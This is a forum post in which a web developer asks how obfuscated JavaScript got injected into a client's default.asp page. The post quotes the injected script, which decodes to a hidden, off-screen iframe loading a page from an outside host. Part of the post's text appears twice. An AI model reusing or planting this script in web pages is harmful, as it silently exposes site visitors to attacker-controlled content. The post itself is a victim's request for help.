antic
Perch
Ok, first time this has happened to a client of mine. Very curious HOW this happened. It's a very basic site - ASP pages but no functional content. Not even a contact form! How could someone inject code into the default.asp file??!
This is the code that was injected, at the top of the default.asp file:
The JS decodes that garbled string and outputs the actual nastiness.
Seems the variables are randomly generated, so it's probably some bot which is doing something to sites fully automatically, making random variables to try and avoid detection.
But how can a bot infect an ASP page on a server, with no forms or any other way to *enter* information into anything? All the pages are straight HTML. I just used ASP #includes to implement a simple site template.
Very odd. Any ideas? Did it simply guess the FTP password or something?
This is the code that was injected, at the top of the default.asp file:
Code:
<script type="text/javascript">
var eMCeGjolMPJFNuucZWLk = "jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc102jc114jc97jc109jc101jc62";
var VarLlMnCAppeCrJJayvn = eMCeGjolMPJFNuucZWLk.split("jc");
var OEtbynEYKPJgqArbMfdN = "";
for (var VTsXKBglzcYNgRpfFtDP=1; VTsXKBglzcYNgRpfFtDP<VarLlMnCAppeCrJJayvn.length; VTsXKBglzcYNgRpfFtDP++)
{
OEtbynEYKPJgqArbMfdN+=String.fromCharCode(VarLlMnCAppeCrJJayvn[VTsXKBglzcYNgRpfFtDP]);
}
document.write(OEtbynEYKPJgqArbMfdN)
</script>
The JS decodes that garbled string and outputs the actual nastiness.
Seems the variables are randomly generated, so it's probably some bot which is doing something to sites fully automatically, making random variables to try and avoid detection.
But how can a bot infect an ASP page on a server, with no forms or any other way to *enter* information into anything? All the pages are straight HTML. I just used ASP #includes to implement a simple site template.
Very odd. Any ideas? Did it simply guess the FTP password or something?